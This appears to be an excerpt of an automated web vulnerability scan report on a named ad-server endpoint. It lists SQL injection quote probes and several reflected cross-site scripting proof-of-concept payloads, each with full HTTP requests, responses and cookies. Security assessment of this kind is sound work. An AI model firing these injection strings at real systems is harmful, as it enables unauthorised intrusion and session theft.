Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Sun, 12 Dec 2010 03:10:15 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2


GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com''&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:15 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19665

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [siteID parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The siteID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the siteID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858'&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Sun, 12 Dec 2010 03:10:26 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858''&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:27 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19663

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://core.insightexpressai.com/adServer/GetInvite2.aspx [creativeID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The value of the creativeID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca2f0'-alert(1)-'7afbef3b044 was submitted in the creativeID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208ca2f0'-alert(1)-'7afbef3b044 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:10:37 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19741

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...
ghtExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208ca2f0'-alert(1)-'7afbef3b044'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite=new InsightExpress.PopUpInvite({"Disallow":{"SafeGuard":false,"REMO":false},"Type"
...[SNIP]...

2.2. http://core.insightexpressai.com/adServer/GetInvite2.aspx [esi parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The value of the esi request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db4aa'-alert(1)-'446918a9653 was submitted in the esi parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/GetInvite2.aspx?esi=truedb4aa'-alert(1)-'446918a9653&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response


HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:09:58 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19741

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...
cs.AddParam('timeinview',InsightExpress.Analytics.TotalTimeInView);},1000)}});InsightExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=truedb4aa'-alert(1)-'446918a9653&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite=
...[SNIP]...

2.3. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da144'-alert(1)-'0b64955bbf4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208&da144'-alert(1)-'0b64955bbf4=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=9bba28d1288937145; IXAIFirstHit2316=11%2f5%2f2010+1%3a28%3a13+AM; IXAIBanners2316=172110,172110; IXAIBannerCounter172110=2; IXAILastHit2316=11%2f7%2f2010+12%3a13%3a36+AM; IXAICampaignCounter2316=2; IXAIBannerCounter170677=1; IXAIFirstHit2248=11%2f11%2f2010+6%3a45%3a17+PM; IXAIBanners2251=170722; IXAIBannerCounter170722=1; IXAIFirstHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAILastHit2251=11%2f16%2f2010+3%3a23%3a43+PM; IXAICampaignCounter2251=1; IXAIFirstHit2211=11%2f16%2f2010+6%3a40%3a19+PM; IXAIBannerCounter169909=7; IXAIBanners2310=172498; IXAIBannerCounter172498=1; IXAIFirstHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAILastHit2310=11%2f21%2f2010+6%3a20%3a21+PM; IXAICampaignCounter2310=1; IXAIBanners2211=169909,169909,169909,169909,169909,169909,169909,170103; IXAIBannerCounter170103=1; IXAILastHit2211=11%2f26%2f2010+3%3a00%3a00+PM; IXAICampaignCounter2211=8; IXAIBanners2044=166228; IXAIBannerCounter166228=1; IXAIFirstHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAILastHit2044=11%2f26%2f2010+3%3a38%3a49+PM; IXAICampaignCounter2044=1; IXAIBannerCounter173394=1; IXAIFirstHit2357=12%2f1%2f2010+11%3a03%3a32+AM; IXAIBanners2357=173394,173401; IXAIBannerCounter173401=1; IXAILastHit2357=12%2f1%2f2010+10%3a53%3a57+AM; IXAICampaignCounter2357=2; lastInvite=12%2f1%2f2010+11%3a09%3a31+AM; IXAIinvited2357=true; IXAICampaignCounter2203=0; IXAIControlCounter2203=0; IXAIBannerCounter170478=0; IXAIBanners2203=170478,170478,170478; IXAIBanners2248=170677,170676; IXAIBannerCounter170676=1; IXAILastHit2248=12%2f11%2f2010+10%3a35%3a24+AM; IXAICampaignCounter2248=2; IXAICampaignCounter2018=0; IXAIControlCounter2018=0; IXAIBannerCounter169712=0; IXAIBanners2018=169712; IXAIBanners2284=171378; IXAIBannerCounter171378=1; IXAIFirstHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAILastHit2284=12%2f11%2f2010+10%3a33%3a03+AM; IXAICampaignCounter2284=1; IXAIBannerCounter161858=1; IXAIFirstHit1946=12%2f11%2f2010+9%3a28%3a02+PM; IXAIBanners1946=161858,161857; IXAIBannerCounter161857=1; IXAILastHit1946=12%2f11%2f2010+9%3a53%3a03+PM; IXAICampaignCounter1946=2

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Sun, 12 Dec 2010 03:13:31 GMT
Connection: close
Cache-Control: no-store
Content-Length: 19754

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...
htExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=true&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208&da144'-alert(1)-'0b64955bbf4=1'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite=new InsightExpress.PopUpInvite({"Disallow":{"SafeGuard":false,"REMO":false},"Typ
...[SNIP]...

2.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The value of the referer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e34a'-alert(1)-'d39809cba36 was submitted in the referer parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adServer/GetInvite2.aspx?esi=true&bannerID=161857&referer=www.darkreading.com3e34a'-alert(1)-'d39809cba36&siteID=197028858&creativeID=142745208 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://www.darkreading.com/blog/archives/evil-bytes/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
